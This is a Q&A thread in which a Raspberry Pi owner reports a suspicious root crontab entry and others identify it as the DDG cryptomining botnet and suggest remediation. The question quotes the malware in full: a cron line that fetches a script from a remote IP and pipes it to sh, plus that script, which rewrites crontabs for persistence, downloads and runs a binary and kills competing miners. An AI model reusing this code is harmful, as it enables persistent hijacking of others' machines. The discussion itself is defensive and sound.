58

I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.

Crontab entry:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

The contents of http://103.219.112.66:8000/i.sh are:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

My Linux knowledge is limited, but to me it seems that downloading binaries from an Indonesian server and running them as root regularly is not something that is usual.

What is this? What should I do?

  • 16
    It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes. – Wildcard Oct 2 at 17:50
  • 5
    Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus. – kemotep Oct 2 at 18:18
  • 6
    @kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet – frostschutz Oct 2 at 18:49
  • 9
    I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload. – kemotep Oct 2 at 19:20
  • 21
    The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability. – Hans-Martin Mosner Oct 2 at 21:15
79

It is a DDG mining botnet , how it work :

  1. exploiting an RCE vulnerability
  2. modifying the crontab
  3. downloading the appropriate mining program (written with go)
  4. starting the mining process

DDG: A Mining Botnet Aiming at Database Servers

SystemdMiner when a botnet borrows another botnet’s infrastructure

U&L : How can I kill minerd malware on an AWS EC2 instance? (compromised server)

  • 4
    Yeah, it actually seems that this is it. Thanks! Will mark this as an answer, if nothing new comes up. – Peter Dam Oct 2 at 22:22
  • 8
    Don't forget the usual advice for a rooted machine: try and figure out how they got in so you can fix the hole. Learn from this, and increase your security. Finally, nuke and reinstall the machine. – marcelm Oct 3 at 20:55
  • 3
    The good news is that they don't appear to have a miner for the Pi, just for i686 and x86_64. – Mark Oct 3 at 22:24
  • 13
    @Mark How is that good news? Someone gained full control over his Pi using an unknown entry point, and had full access to any secrets on the Pi (including but not limited to passwords). Whether or not the miner runs is really in the realm of "small inconvenience". – marcelm Oct 4 at 20:35
  • 4
    @marcelm, the attacker gained full control over it, and then almost certainly didn't do anything significant with that control. – Mark Oct 4 at 21:48
2

Figure out which TCP and UDP ports are actually needed, and then block all of the other ports in your router's firewall. Possibly, those crontab entries will not reappear.

You can see which ports are open and public by using the Shields Up! feature at grc.com.

  • 5
    Or he could patch the vulnerability. – Harper Oct 5 at 18:19
  • 1
    @Harper Absolutely! That's a given. I was thinking that perhaps without blocking the unused ports first, it might get reinfected while he was trying to patch it. – Mike Waters Oct 5 at 18:56
  • 1
    Relevant comment from security.SE: security.stackexchange.com/questions/147770/… – Wildcard Oct 9 at 22:37
  • 1
    This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration. – antichris Oct 16 at 13:27

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.